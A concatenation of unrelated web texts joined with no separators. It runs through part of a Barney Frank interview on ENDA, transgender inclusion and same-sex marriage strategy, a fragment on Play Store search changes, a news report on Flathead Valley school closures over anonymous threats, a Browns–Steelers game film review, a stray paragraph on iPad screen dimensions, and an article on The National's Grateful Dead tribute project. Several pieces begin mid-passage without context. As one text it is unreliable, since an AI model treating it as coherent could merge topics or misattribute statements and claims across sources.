People have this mistaken view of the civil rights movement and say, ‘Well the black people never compromised, they got the whole thing.’ That is just silly nonsense. The first civil rights bill that was passed in ’57 was fairly moderate but it had some good things, and then one passed in ’60, and then one passed in ’64. People are now saying, ‘Well we don’t want ENDA to be just about employment, we want it cover housing, etc.” Well that national federal civil rights bill that Lyndon Johnson signed in 1964 that we’re all celebrating today didn’t include housing! Housing didn’t come until a separate bill was passed after Martin Luther King was murdered in 1968. The notion that you can win your entire victory at once is historically and politically flawed.
The transgender community had this mistaken view that if Nancy Pelosi waved a magic wand, transgender would be included. And we were insisting to them that, look we don’t have the votes, help us lobby. Instead of trying to put pressure on the people who were against them, they thought they could just insist that we do it. We said, ‘We’re trying, but we need your help.’
It’s also the case that in 2007, transgender made people a lot of people nervous, they didn’t know about it. Since then there’s been a lot of success in educating the public in general, politicians in particular. I don’t know what Griffin said, but he was not a factor when we were doing it. And by the way, when we were trying to get the votes to pass a bill including transgender, transgender people were not included in the anti-discrimination bills in New York, Massachusetts and Maryland. And I asked people, ‘If we haven’t got the votes in those states, why do you think it will be easier when we throw in South Carolina, Texas and Nebraska?’
And Chad Griffin was one of the people in California who were arguing that the way to get marriage was, ‘Well we shouldn’t have to go state-by-state, we should just get one big national decision.’ Well they were wrong! The Supreme Court did not decide in favor of same-sex marriage in Prop 8. Neither did the Ninth Circuit Court of Appeals. The DOMA case was the big case. Now because so many states have had it, I think we will win a Supreme Court decision, but the Supreme Court wasn’t going to do that out front. They’re building on the state-by-state experience.
What do you miss most about being a congressman?
I miss friends. There is again a very mistaken view…members of Congress on the whole are very intelligent, thoughtful people. Some of the people I thought I had most in common with were my fellow Democrats, a couple of Republicans, not as many as there used to be. So I miss that.
I miss the chance to influence policy, but on the other hand I was just worn out, my nerve endings were frayed. It got to the point where when the phone would ring, I would hate it. I would think, ‘Oh Christ, what now?’ So I don’t miss, frankly, the responsibility for trying to help resolve issues and having things that other people do dictate how I spend my time.
So which member of Congress would the country be better off if they retired?
Oh yeah, the number one would be Darrell Issa. He’s just unfair, he’s dishonest. He’s a particularly disruptive one.
Which member of the media would the country be better off if they retired?
Well a couple by the media in general. The ‘good news is no news’ is a problem across the board. What troubles me more broadly is the non-ideological media where I think you have this penchant for the negative. So I am critical of the mainstream media in general for overemphasizing the negative.
So your wedding is included in the documentary. How’s married life?
Oh wonderful. I’m sitting in our house in Ogunquit now, looking out the window at the trees and to the ocean beyond. But in about an hour I get in a car and drive down to Cambridge. I’m teaching at Harvard. It’s a great life. I spend midweek in Massachusetts, we’ve kept our apartment in Newton and then I’m here for long weekends. So I’m very, very happy.
Compared To What: The Improbable Journey of Barney Frank
Followed by a Q&A with co-director Sheila Canavan
Saturday, Oct. 4 at 4:45 p.m.
Landmark Midtown Art Cinema
www.outonfilm.org
A search from the top level of the Play Store still pulls results from each of the major stores, as it should; but tapping into the apps section from those results or starting the search from anywhere in the Android-related portions of the store can redirect to the category-oriented view. It's likely that Google is adding this as a shortcut to help inexperienced users find categories if they've never browsed through the Play Store before.
It seems that this change in behavior is only showing up on specific accounts, so it's either just starting to roll out, or it may be a limited public test. Based on what we've seen, some category names still don't show the matching sub-lists, which may suggest that this functionality isn't quite finished. It's not clear if these are the only changes to search, or if there are other special terms, so keep an eye out for anything out of the ordinary.
Thanks, Dominic Powell
All school activities, events and classes are canceled throughout the Flathead Valley as a precautionary measure amid an ongoing investigation into recent cyber threats.
Administrators announced Friday morning that all activities, practices and other school-related events are canceled through Sunday. This includes home and away games and practices.
Administrators consulted with law enforcement and were advised that the situation has not been resolved, according to an announcement from area districts.
School officials have not decided whether school will resume Monday. An announcement will be made no later than 6 p.m., Sunday, Sept. 17 with an update.
Sportsman & Ski Haus announced it was canceling its party and campout event that was slated to begin Friday afternoon in Whitefish and Kalispell. The annual sales event regularly draws hundreds of gatherers and store managers said people can begin lining up at the stores in Whitefish and Kalispell at 7 a.m. and doors will open at 9 a.m.
In an interview with the Beacon on Friday, Flathead County Sheriff Chuck Curry said law enforcement continues to make progress. Additional “persons of interest” have been identified but no arrests have been made. He declined to elaborate on any details due to the sensitivity of the investigation.
“Based upon our estimation, without revealing any details of the investigation, we certainly feel that there is a credible threat, or at least a potentially credible threat,” he said.
Curry said there does not appear to be any immediate public safety threats.
“We have not had any indication or developed any intelligence or concern that there is a threat or stated threat to the general public or to any other sort of public gathering or events,” Curry said.
“The threats have been isolated to schools and school functions and school personnel.”
The widespread closure is impacting more than 30 schools and roughly 15,700 students. The cancelations include Friday night football games and an open house scheduled at Bigfork High School.
“No practices no matter the venue; i.e. public areas, school property or private property,” Flathead High School Activities Director Bryce Wilson said in a memo. “I know you all are passionate about your activity and I am an advocate for you and our activities. The threat is credible and I know we all have questions, but we will have to trust the decisions made by the valley superintendents.”
The games will be rescheduled if and when possible, Wilson said.
Whitefish’s homecoming week festivities have also been canceled at this time, including the downtown parade scheduled for Friday afternoon.
Heather Davis Schmidt, Whitefish school district superintendent, told the Beacon that schools have been advised by law enforcement to prevent “large groups of students from being together” amid this situation.
Whitefish Activities Director Aric Harris said the homecoming festivities could tentatively resume in early October. Confirmed details will be sent out when they become available.
Curry said the sheriff’s office, Columbia Falls Police Department, Kalispell Police Department and the FBI are working together on the investigation.
“We pretty much have every resource on this right now,” he said.
School officials said when school resumes, “whatever date that may be, we will be developing with principals a message and support resources to be able to share with your students.”
“The safety and best interests of our students and staff remain our top priority,” administrators said. “We will continue to monitor the situation and update communities as we have more information.”
The closure includes all schools in the following districts: Bigfork Cayuse Prairie Columbia Falls Creston Deer Park Evergreen Fair-Mont-Egan Flathead Valley Community College (Kalispell and Libby campuses) Kalispell Helena Flats Kila Marion Olney-Bissell Pleasant Valley Smith Valley Somers/Lakeside Swan River West Glacier West Valley Whitefish Kalispell Montessori St. Matthew’s Stillwater Christian Trinity Lutheran Whitefish Christian Academy Woodland Montessori
Area schools closed Thursday as a precautionary measure after school districts in Columbia Falls, Whitefish, Kalispell, Bigfork, West Valley and Smith Valley received anonymous threats via text message and email.
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NFL Week 10 Film Review
Cleveland Browns vs. Pittsburgh Steelers
1st 2nd 3rd 4th FINAL
Goats of the Game: OL Cameron Erving, DL Armonty Bryant, & CB Pierre Desir - It might be a little unfair to name Erving a goat, considering the circumstance of him having to suddenly play left guard after training primarily at right guard and left tackle this season (and having been a former center). However, if either guard were to get injured, I think the expectation all along was that Erving would be the next man up. The chemistry of the left side of the line was out-of-whack throughout the game, Erving was blown up on a couple of plays, and he had a holding penalty at the 1 yard line on a 1st-and-goal play (where he lined up at tight end).
Defensively, Desir has hit the sophomore wall or something. Over the past couple of weeks, his soft tackling abilities have started to stick out in a negative way. This week, despite often lining up in press coverage, he wouldn't attempt to get his hands on the receiver at the line. By the time he turned his hips to run upfield, the receiver (usually Martavis Bryant) already had a full head of steam, and Desir and the rest of the Browns' secondary looked very slow compared to Bryant.
A. Bryant gets an automatic goat award for turning a field goal into a touchdown.
Awarding the Game Ball: QB Johnny Manziel & CB K'Waun Williams - I expect CB Joe Haden to be back after the bye week from his concussion, but if he is not, the Browns should play around to see what Williams can do on the outside. He had a very solid game from the nickelback position, and I'm sure he was frustrated watching the Steelers just chuck it deep on the outside corners more times than not. If Williams has any redeeming qualities on the outside, then CB Charles Gaines can slide in as a nickelback.
Manziel also gets a game ball for the continued progress he's displaying. There weren't many head-scratching plays from him after the first two pass plays, and he had a good balance between getting rid of the ball quickly and extending plays when nothing was there.
Stopping the Run: If there is one thing the Browns did well defensively against Pittsburgh, it was stopping the run. According to Pro Football Focus, "NT Danny Shelton +2.0 had his best game and held the point of attack well in the run game."
Here is an example of Shelton holding the point of attack well. On the Steelers' first run play of the game, Shelton is lined up between the center and left guard. Pittsburgh wants to create a lane in the A gap between the center and right guard, with the fullback leading the way.
Shelton penetrates and rushes through the center, removing any lane for RB DeAngelo Williams to run through. When Williams tries to bounce to the outside, OLB Paul Kruger wraps him up for a loss of four yards. That stalled Pittsburgh's first drive, leading to their only punt of the game.
Disastrous Start: If you would've only seen the first play of QB Johnny Manziel, you would've had no suspicion that he'd end up earning the starting job the rest of the year.
Facing a 1st-and-10 from the 23 yard line, Manziel had FB Malcolm Johnson next to him int he pistol formation. With the Steelers in man coverage, I think the Browns wanted to get it in Manziel's head early to take what the defense gives you if a receiver is open on your first read. Johnson will go out to the flat, with space to work with.
If Manziel's ball placement is good, this can be about a 4-yard gain at a minimum, with the possibility of going for more yards if Johnson can break a tackle. Manziel looks to throw it right away...
...but his arm comes forward with an empty hand. The ball bounces off the back of the helmet of C Alex Mack and right into the arms of OLB Arthur Moats, giving Pittsburgh great field position for the next drive of QB Landry Jones.
Attacking the Gap: Two weeks ago against the Bengals, I complained a bit about the Browns' linebackers not attacking the gaps enough on running plays.
Facing a 2nd-and-5 from the 7 yard line, the Steelers are going to bring No. 83, TE Heath Miller, to the edge to stop the defensive end and allow the left tackle to leak to the second level. ILB Craig Robertson is going to do a good job attacking the gap once he sees it.
With Robertson in the gap, he is able to hold RB DeAngelo Williams to just a 1-yard gain.
Game-Changing Play: If this throw was any indication of what QB Landry Jones was capable of, then this was the turning point of the game, as I would've much preferred our defense go up against him than QB Ben Roethlisberger.
This is the very next play after the run highlighted in the previous bullet point. Facing a 3rd-and-4 from the 6 yard line, the Steelers are going to send the far left receiver underneath the slot receiver at the goal line. With the Browns in off man coverage, our cornerbacks pick each other off and will leave the receiver open.
Jones doesn't see it, and keys in on TE Heath Miller, the only receiver who is double-teamed on this play.
Jones throws the ball right at ILB Karlos Dansby, but he can't hang on to it. It's tough to tell whether ILB Craig Robertson tipped the ball, which might have prevented Dansby from catching the ball with a sudden trajectory change. Jones was stepped on by one of his lineman here, ending his day with Pittsburgh settling for a 24-yard field goal with 10:59 left in the first quarter.
Big Play Improvising: When QB Johnny Manziel started last year, the only "glimmer" of positive play we saw from him came on scrambles, where a receiver broke open. The problem was that Manziel would float the ball too high over his receivers, leading to incompletions. However, we said, "if Manziel can get those passes under control, defenses are going to have some big-time breakdowns."
On the Browns' second drive of the game, Cleveland faced a 3rd-and-9 from the 29 yard line. The Steelers are in man coverage, with WR Andrew Hawkins at the top of the screen and WR Travis Benjamin wide left. Both receivers are running comeback routes.
Manziel's first read is to Hawkins on the right sideline, but the defender in man coverage on the slot receiver tries to read Manziel's eyes and starts shifting over there. I believe Manziel sees this and decides not to risk a throw, despite having a chance at completing the pass.
Manziel moves to his left, which draws up the defenders who were in zone coverage over the middle. Benjamin then freelances to the middle of the field, where there is a lot of open space.
Manziel is going the opposite direction of Benjamin, so it's not easy to hit him in stride. The pass forces Benjamin to stop and catch it, nearly allowing the diving defensive back to get a hand on the ball. The pass gets to Benjamin just in time, though, and because the defender went for the diving breakup, Benjamin is free for a 61-yard gain before the deep safety angles him out of bounds at the 10 yard line.
Run Game Communication Issues: In many previous weeks, I've attributed a lot of the running game struggles to tight end and fullback issues. This week, our offensive linemen just didn't seem to know who to block or who to pick up.
On the Browns' next offensive play, facing a 1st-and-goal from the 10, the handoff goes to RB Isaiah Crowell. The original intention appears to be him taking the green route. Once No. 93 splits through C Alex Mack and LG Cameron Erving, though, Crowell has to bail to the outside, where No. 94 hits him for a loss of a yard.
At the snap, Erving immediately went to the second level, leaving Mack to be beaten off the snap by No. 93. When the Browns' run blocking is at its best (which seems pretty rare), linemen leaking to the second level try to chip someone at the first level before leaking out. Was that Erving's fault here, or is it Mack's for being beaten?
Ball Placement: One of the things I loved about QB Josh McCown was his ball placement on short passes early in the season, because he gave our fast receivers the ability to run after the catch.
Facing a 3rd-and-goal from the 11, WR Travis Benjamin is at the bottom of the screen with Pittsburgh's cornerback playing in zone coverage on the outside.
Manziel's first read is to the right, where there are more defenders (3) than receivers (2). The same goes for over the middle. When his eyes come to Benjamin, he spots him and immediately gets ready to throw. The defender has his hips turned toward the inside part of the field. If Manziel leads Benjamin with a fast throw toward the sideline, Benjamin might be able to use his speed for a catch-and-run dive to the pylon before the defender gets there.
The yellow arrow shows the ideal situation. However, Manziel throws the ball low and stationary, so Benjamin has to spin toward the inside to shed the cornerback. With no momentum, though, the nearby defender stops him and forces Cleveland into a 23-yard field goal with 8:06 to go in the first quarter and the game tied 3-3.
Not Much to Break Down: Sunday's defensive performance by the Browns was the worst I've probably seen from our secondary since 1999. It was downright embarrassing for QB Ben Roethlisberger to just step back, read which side the deep safety was on, and throw it deep to the other side, and get a completion or pass interference call about 75% of the time.
Facing a 2nd-and-9 from the 32 yard line, Roethlisberger sees WR Martavis Bryant matched up against CB Pierre Desir wide to his right. The safety on that side moves up after the snap, leaving Desir in one-on-one coverage.
Here, you can see that Bryant is even with Desir. What you can't see is that Bryant basically got a free release and is in full stride, with Desir trying to recover.
Roethlisberger let this pass loose pretty early, but look how well Pittsburgh's offensive line is in sync trying to defend our four-man rush. We try to run a stunt on one side, and two lineman are ready for it. On the other side, OLB Barkevious Mingo goes for a rare pass rush, but TE Heath Miller stops him initially and then the right tackle helps out.
Why is Desir peaking in the backfield and waiting for Bryant to come to him? He doesn't even try to touch him until five yards down field, which is useless...
...and then Desir has to turn around and play catch-up against a guy who looked way faster than anybody our defense could throw at him. This play went for 44 yards as Desir barely made a shoestring tackle downfield.
Bend-But-Don't Break: For much of the first half, the Browns' defense was bending, but not breaking.
Facing a 3rd-and-2 from the 16 yard line, QB Ben Roethlisberger tries to use his chemistry with WR Antonio Brown to signal for and throw a quick back shoulder pass to get a first down on CB Tramon Williams.
Williams is looking for a pass to the end zone, so it's a good read by the quarterback-receiver tandem. However, OLB Nate Orchard spoils the fun by extending his arms out and tipping the pass away. Pittsburgh settled for a 34-yard field goal to make it a 6-3 game with 4:45 left in the first quarter.
Wrong Time for the End-Around: You hate to see our offense fake a play so often this season, and then when they finally run it, it goes for a big loss.
Facing a 1st-and-10 from the 41 yard line, the Browns fakes a handoff to RB Isaiah Crowell. FB Malcolm Johnson comes across the formation as a lead blocker for WR Travis Benjamin, who is getting the ball on the end-around. First off, I hate running this to the short side of the field. Why give Benjamin less room to work with?
Despite my reservations, the play would work if No. 51 bites for the fake to Crowell. However, I think No. 51 sees Johnson coming in motion and suspects a counter run by Crowell. By luck, it puts him in position to see Benjamin and stop him for a loss of 7 yards.
Freezing Zone Defenders in the Pocket: One thing I liked about QB Johnny Manziel this week was him taking advantage of zone defender by looking one way and then quickly firing to where he presumably wanted to go all along.
Facing a 3rd-and-14 from the 37 yard line at the end of the first quarter, Manziel looks to the short route over the middle to TE Gary Barnidge. No. 94 doesn't sell out to cover Barnidge, but he takes a step that way, which helps create more space for WR Brian Hartline running up the seam to Manziel's left.
Compare the previous screenshot and you'll see where No. 94 is standing in each of them, creating the throwing lane to Hartline.
Manziel zips the completion in for a gain of 17 yards and a first down. Cleveland still had to punt by the end of the quarter after not converting on their next set of downs.
Free Yardage: Are we even trying with this defensive look?
Facing a 2nd-and-2 from the 18 yard line, WR Antonio Brown is wide left and CB Pierre Desir is 12 yards off of him. Not only that, but at the snap, Desir backpedals about three yards. QB Ben Roethlisberger reads it and Brown sits at the first down for a quick completion before ultimately turning this into a free 10 yard gain.
A couple of plays later, facing a 2nd-and-17 from the 21 yard line, CB Charles Gaines takes his turn being lined up with WR Martavis Bryant wide right.
Gaines also makes the same odd mistake of giving Bryant a free release and is burned just like Desir was earlier in the game. This goes for a 64 yard gain before the safety re-routes Bryant enough to allow Gaines to strip the ball from Bryant and CB K'Waun Williams (who was in the slot next to Gaines) jumps on the ball for the quick recovery.
Playing the Run Hard: Even though the Browns weren't running the ball well, passing wasn't a bad option because Pittsburgh was often playing run-first, pass-second. QB Johnny Manziel made Pittsburgh pay by going to the first receiver he saw open with that frozen defender.
TE Gary Barnidge lined up at the fullback spot on this 2nd-and-14 from the 10 yard line. The defender in the cyan circle will remain stationary off of the playaction fake...
...which means Barnidge is wide open to the outside. Manziel releases the ball quickly to him with good ball placement, allowing for a catch-and-run of 17 yards.
Right Back to Barnidge: On the very next play, the Browns played in to the Steelers' commitment to stopping the run again, this time using the end-around to WR Travis Benjamin as a fake again.
Barnidge is going to run to the 40 yard line before going toward the sideline. With all three nearby linebackers sucking up to play the run or end-around, Barnidge is wide open.
This play goes for a gain of 18 yards and another first down.
More Run Game Woes: After the two pass plays to TE Gary Barnidge, Cleveland continued their success through the air with an 8-yard completion to WR Andrew Hawkins.
Now facing a 2nd-and-2 from the 47 yard line, now seems like a good time to try to run the ball, right? What's the worst that could happen? On this play, LT Joe Thomas and TE Gary Barnidge both attack the far edge defender, which leaves LG Cameron Erving fending off the guy who lined up over him. I think the Browns want this to look like a stretch to the outside, but with RB Duke Johnson having the option to cut back. No. 50 gets a free rush in the cutback lane, though.
When Johnson bounces to the outside, Erving commits an obvious holding penalty. The confusing part is that Thomas is now trailing back to see what happened to No. 50. Was Thomas supposed to pick up Erving's man initially, and Erving get No. 50? Either way, something appears to have broken down in communication again with who is blocking who.
Late Blitzer Ruins Outside Run: I'm going to sound like a broken record, but Pittsburgh didn't care -- they wanted to prevent our running game from ever getting started.
The execution of this particular run on 2nd-and-3 from the 35 yard line. When I first saw the play live, I wondered, "what the hell happened," because it looked like four defenders swallowed RB Duke Johnson right up the middle for a loss of four yards. Upon replay, No. 20 (the safety) times the snap count and blitzes from the safety position off the edge. Cleveland's blockers were setting up for an outside run here, and if the safety hadn't come up, WR Andrew Hawkins (not seen in the slot) would've been able to run upfield to chip him.
Instead, Johnson sees that he can't go outside, so he tries going the other way. None of the blocking was set up for that, so Johnson takes the four yard loss, serving as a drive killer of sorts.
How'd He Get Free? On the Steelers' next drive, they faced a 3rd-and-2 from the 6 yard line.
With the game still being 6-3 near the end of the first half, holding Pittsburgh to another field goal would inspire some confidence heading into the half. ILB Christian Kirksey immediately sacked QB Ben Roethlisberger for a loss of three yards, which stunned me. How did Kirksey get there so quickly, and how did Roethlisberger not avoid the rusher like he usually does? Upon replay, I saw what happened -- this was a designed tight end screen to TE Heath Miller. The lineman over the middle let Kirksey come free, with the intention of Miller catching the pass here. ILB Karlos Dansby sees it developing, though, and holds on to Miller to prevent him from getting into the route as Roethlisberger has to eat the sack.
Nail in the Coffin: The Steelers kicked a field goal to make it 9-3, but the points were taken off the board when a "leverage" penalty was called against DL Armonty Bryant on the field goal. That's the risk you take when you try to jump over a lineman -- if you land on people, it's a foul, plain and simple.
The Steelers capitalized with a touchdown pass on the next play -- 1st-and-goal from the 4 yard line. WR Antonio Brown goes in motion from left to right and stops as the closest receiver to the right of QB Ben Roethlisberger. This creates confusion among the trio of Browns defenders in the area -- they don't seem quite sure who should pick up who in man coverage.
Brown starts to the outside, and CB K'Waun Williams overcommits to the outside. Then, Brown just sneaks back over the middle for a skinny post...
...and Roethlisberger delivers a nice pass for the touchdown, giving Pittsburgh a 14-3 lead with 3:27 to go in the first half after they convert the two-point conversion (also to Brown).
More of the Same: On the Browns' next offensive play, WR Andrew Hawkins fumbled, giving the ball right back to Pittsburgh. Cleveland's defense actually stopped the Steelers on a 4th-and-goal from the 1 yard line with under two minutes to play, but the Browns went three-and-out and punted.
Facing a 1st-and-10 from the 32 yard line with 0:42 to go, here we go again -- it's WR Martavis Bryant streaking upfield (from wide right) again on CB Pierre Desir.
Desir stares at the quarterback and does nothing to press Bryant, despite lining up over him at the snap...
...and Bryant smokes Desir to the end zone for the score. With it being 21-3 at the half and how easy things were going for Roethlisberger, you knew Cleveland stood very little chance of rallying.
Finding the Hot Read: One has to wonder if offensive coordinator John DeFilippo will try incorporating some more of these plays into the playbook if defenses continue to blitz a defender off the edge late (they come up at the snap).
The Browns got the ball first in the second half. Facing a 2nd-and-17 from the 23 yard line, QB Johnny Manziel fakes a handoff to RB Isaiah Crowell. When the linebacker steps up, Manziel quickly fires to WR Brian Hartline in the right slot position, alas what QB Andy Dalton kept doing to the Browns two weeks ago.
The play goes for 15 yards, and the Browns picked up a first down on the next play.
More Confusion Leads to Sack: Once the Browns got to near midfield, more confusion on the offensive line led to a sack.
This was a 2nd-and-10 play from the 43 yard line. LG Cameron Erving first looks left, where LT Joe Thomas ends up taking the outside rusher. C Alex Mack and the rest of the line block the rush coming from the right side.
We have another situation where Mack is releasing a guy to Erving, but Erving isn't expecting it. Manziel hasn't even received the snap yet and this is what he sees, so he has to tuck and cover for a loss of 8 yards and an eventual punt.
Successful Screen Pass: The Steelers tacked on a field goal on their next drive, making it a 24-3 game mid-way through the third quarter.
On Cleveland's next offensive drive, they faced a 3rd-and-4 from 32 yards away from the end zone. RB Duke Johnson initially lined up next to the left of QB Johnny Manziel. After pausing a moment to act like he's going to block, he comes across and releases toward the right, where three offensive lineman also time things up right to go out as lead blockers.
The ball placement is pretty good to Johnson, leading to a 10-yard gain and a first down.
Houdini Act Stymied by Officials: Facing a 1st-and-10 from the 11 yard line, QB Johnny Manziel pulled off a nice little Houdini act that makes him the exciting player that he is.
The Browns set up with two shallow crossing routes and a couple other receivers running to the front part of the end zone.
At this point, the Steelers are in zone with a lot of traffic over the middle. Manziel doesn't like what he sees, so he tries to spin and roll out to his left.
The Steelers get a piece of Manziel, who then spins back the other way and breaks free before starting to run up the middle. That draws one of the zone defenders up...
...and Manziel makes that guy miss. WR Andrew Hawkins is breaking free over the middle, but I'd like to see him stop where he is and raise his arms for Manziel. Instead, he kind of drifts into the end zone but toward the defense.
Manziel is probably in too rushed of a mindset to throw this ball to Hawkins, since he's already dodged several defenders and for all he knows, another one could be right behind him. He beats No. 94 with an out-and-in move, but the defensive lineman chases him down from behind to the half yard line.
Can't Punch the Ball In: The worst thing you want to do on 1st-and-goal from the half yard line, besides fumbling, is committing a holding penalty. If you get beat for a loss of two yards, 2nd-and-goal from the 3 isn't so bad.
On their first down play, RB Isaiah Crowell wants to run this ball inside. OL Cameron Erving is actually lined up as a tight end on this play, trying to seal off the inside by anchoring his defender to the outside. FB Malcolm Johnson will meet a linebacker in the hole.
Johnson doesn't really get a helmet on his man, and instead gets taken out, creating a pile up where Crowell wanted to go. Crowell then bounces to the outside, which is a good alternative to at least attempt here. Unfortunately, Erving again commits a very obvious holding penalty with a tug of the jersey once he sees Crowell trying to go outside.
If Erving doesn't commit the hold, it's either a short loss, a broken tackle leading to no gain, or maybe a broken tackle leading to a score -- who knows. The hold sets the Browns back to 1st-and-goal from the 10, and before they know it, they have 2nd-and-goal from the 25 on the final play of the third quarter. Trying to make something happen on fourth down, QB Johnny Manziel gets picked off (I give him an A for effort -- not a dumb interception), and poor WR Andrew Hawkins gets leveled for a concussion.
Touchdown With Timing: After QB Ben Roethlisberger was picked off by S Jordan Poyer on the Steelers' next drive, Cleveland had great field position.
This is a 2nd-and-6 play from the 7 yard line. TE Gary Barnidge is one-on-one wide right with no safety help, so QB Johnny Manziel makes the decision pre-snap that he's throwing the fade.
Manziel literally waists no time. The second he gets the ball, he's already throwing the fade to Barnidge. Barnidge does a good job shedding off his defender to prevent and jam...
...and the throw is absolutely perfect. A quarterback in the NFL couldn't have made a better pass. The touchdown made it a 24-9 game (missed XP by K Travis Coons) with 12:28 left in the game. Manziel had three very nice end zone throws on the team's next drive. One of them (to WR Travis Benjamin) should've been caught. The others -- to WR Brian Hartline and TE Gary Barnidge -- were solid NFL throws that required contested catches, but I'm sure both receivers would tell you they'd like to have those plays back.
Using the Pump Fake: I'm sure you guys don't mind that I skipped the front-flip 54-yard touchdown by WR Antonio Brown, which made it a 30-9 game (Pittsburgh also missed an XP) with under 10 minutes to go.
Another nice element to QB Johnny Manziel's game was seeing him use the pump fake to try to move defenders. This is a 1st-and-10 play from the 37 yard line. Manziel's first read is to pump to the left, where he doesn't see anything enticing enough. On the other side, RB Duke Johnson is leaking out to the flat, and WR Travis Benjamin is running a bit of an out route.
Manziel pumps again to Johnson, drawing the underneath defender on Benjamin up toward Johnson. Then, he's going to zip a pass toward the outside for Benjamin...
...and he gets it there. Another defender makes the mistake of trying to undercut a pass to Benjamin, who goes for 22 yards on this play. Benjamin actually appeared to go all the way, but the officials ruled that he stepped out of bounds at the 15 yard line. The All-22 film shows that he was definitely close to the sideline at the 15, but it's not close enough to make any ruling. The CBS broadcast had their damn infographics in the way, so you couldn't see Benjamin's feet on the replay.
Cleveland couldn't punch it in, but that's when Manziel had the three nice end zone passes I mentioned in the previous bullet point.
Special Teams Notes: The Browns had 1 special teams tackles, coming at the hands of OLB Barkevious Mingo. P Andy Lee averaged 40.0 yards per attempt on 4 punts, with a net average of 40.0 yards, as three of them were inside the 20. K Travis Coons was 1-of-1 on field goals, connecting from 23 yards out, but missed his second extra point of the season. The Steelers also punted once, and WR Travis Benjamin did not have an opportunity to return it.
Snap Counts on Offense & Defense: If you missed them, here are the links to our snap count trackers for offense (link) and defense (link).
Brownies: The Browns converted 5-of-13 (38%) 3rd down attempts, while the Steelers converted 3-of-10 (30%) 3rd down attempts. ... Pittsburgh out-gained the Browns in yardage 459 to 342. ... Cleveland had 12 penalties for 188 yards, while Pittsburgh had 5 penalties for 50 yards. ... The Browns had the ball for 32:43 compared to the Steelers having it for 27:17. ... RB DeAngelo Williams had 29 of his 54 rushing yards on the team's final drive. ... RB Duke Johnson averaged 26 yards per return on two attempts, while WR Marlon Moore averaged 24 yards per return on two attempts. ... I'm wondering if TE Randall Telfer is going to get an activation soon to help with some of the run blocking issues.
The math works out perfectly. This new 10.5" iPad would have the exact same resolution as the 12.9" iPad Pro (2732 x 2048), but the same pixel density of the iPad mini (326 ppi instead of 264 ppi). Crunch the numbers, do a little Pythagorean Theorem, and you end up with a screen 10.5" diagonal (10.47" to be precise, but none of Apple's stated screen sizes are exact). In terms of physcial dimensions, the width of this 10.5" screen would be exactly the same as the height of the iPad mini screen.
Uncut reports Day of the Dead is due April 2016 on 4AD
Legend has it the first time the Dessner brothers played with their future National bandmate Bryan Devendorf they jammed for eight hours on The Grateful Dead’s “Eyes of the World.” They were in their early teens.
Fast forward to Coachella 2011: National bassist Scott Devendorf broke news to Spinner that the group was planning a Grateful Dead tribute as a follow-up to Dark Was the Night (a 2009 compilation featuring Arcade Fire, Bon Iver, Spoon, Sharon Jones, Sufjan Stevens, David Byrne, Feist and others). Both the former comp and the Dead project are benefits for AIDS charity Red Hot curated by the Dessner brothers. Though AOL Music killed Spinner three years ago, Devendorf’s quotes from that 2011 post are recaptured below:
“We’re actually working on a new compilation record, like we did the ‘Dark was The Night’ record, that’s going to be a Grateful Dead covers record.”
We’re just figuring that out right now. Matt [Berninger, frontman] has got to sing it, so we’re thinking a Phil [Lesh] song, ‘Box of Rain’ or ‘Unbroken Chain,’ something like that. For us, the frontrunner right now is ‘Box of Rain’ I think, but we’ll see.
I think Steve Reich is on it as far as doing some things. He’s actually an old friend of Phil Lesh. They go back to younger days. Then there are newer, folky bands like Fleet Foxes, Bon Iver that are interested.
“It’s not going to be like jam bands cover the Dead. There are so many cover bands. I think half of the record will be reinterpreting it. We’re also trying to think of unusual [acts]. Crystal Castles would be awesome.”
Soon after Spinner’s initial post The National’s management issued an official statement: “Bryce and Aaron Dessner are currently working on a follow up to ‘Dark Was The Night.’ No details can be confirmed at this time.”
Behind the scenes the wheels began to spin and in March 2012 Aaron Dessner and the Devendorf brothers teamed with Yellowbirds Sam Cohen and Josh Kaufman, The Walkman’s bassist/ organist Walter Martin and Conrad Doucett to form a one-off super group to back Bob Weir for a Headcount event at his TRI Studios in San Rafael, California. After extensive rehearsals they played a so-called “Bridge Session” on March 24, 2012. The night’s promo art showed the Brooklyn Bridge with the Golden Gate Bridge, the implication being it “bridged” coasts, generations and musical scenes. Two National sidemen were also playing in the band (pun intended): Thomas “Doveman” Bartlett and Kyle Resnick. With Kaufman acting as musical director, this all-star group played two sets – with a Headcount political discussion in between, and a mini-acoustic-set encore afterwards – for a live audience of only 100 or so. The intimate performance was streamed live on Yahoo! Music, in addition to being the first in Weir’s series of webcasts on his TRI Studios website (snippets were also subsequently included in The Other One: The Long, Strange Trip of Bob Weir). Cohen later assessed the event for Jambands.com:
“We actually had a ton of rehearsal in New York, really internalizing their music, figuring out how we wanted to play it, and then getting to go play with Bob Weir. We had a couple of twelve hour rehearsals and then we rehearsed maybe 4-5 hours the day of the concert, and the concert itself was close to three hours long. So it was… it was incredible. The only time he stopped to practice was to work on the form of the jam, which was so cool. He would stop and say “Oh when we would play this, there’s actually more of a form to it, it’s not all in E, it’s in E and then it’s in C-sharp minor, then we go back to E, then someone starts playing this riff and then we all start playing that riff in different permutations and then we go back into verse. So it was basically an enormously dorky musical experience and spiritually fulfilling.”
“We were really happy about being able to make it less solo-y and more like a band playing. A lot of that is due to Josh Kaufman, who was the bandleader for that. I came in through him. He’s old friends with The National guys and they asked him to lead the rehearsals and be the bandleader for that event and he brought me in. Josh is the other guitar player in Yellowbirds and knew I loved the Dead and said, ‘Hey, you should do this with me.’ I obviously jumped at the chance and that was that. A lot of the rehearsal was – this is how it’s been done for years, let’s actually make it more of a band section than a solo. Keep the solos short was a constant conversation.”
“The Grateful Dead was, literally, some of the first music that Bryce and I were exposed to and played,” Aaron explained to Relix last year. “Scott and Bryan are equally, if not more, into the Grateful Dead, so it has always been in our music, in the ether. On a whim, we asked the head of Red Hot—the organization for whom we produce these charity records—if they would approach the Grateful Dead about a clearance. They came back and basically approved the entire catalog, which meant that we could put something deeply ambitious and expansive together. Because anyone who really listens to the Grateful Dead knows you can’t make a 10-, 20- or even a 30-song record and really cover it. And not long after that, Bob Weir invited The National out to his studio for a HeadCount event. It was our first personal interaction with him. All of a sudden, this closeness formed.” (Photos and more details from The Bridge Session are here. Watch a rip of the full webcast below.)
